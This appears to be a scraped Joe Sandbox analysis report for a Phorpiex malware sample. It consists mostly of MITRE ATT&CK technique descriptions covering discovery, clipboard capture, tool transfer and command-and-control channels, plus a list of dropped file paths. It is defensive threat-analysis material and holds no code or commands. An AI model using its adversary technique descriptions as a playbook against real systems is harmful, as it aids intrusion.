Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Bjl3geiFEK.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Phorpiex

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\dwntbl[1]

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\229472814.exe

C:\Users\user\AppData\Local\Temp\264162301.exe

C:\Users\user\AppData\Local\Temp\33080.scr

Windows Analysis Report
Bjl3geiFEK.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre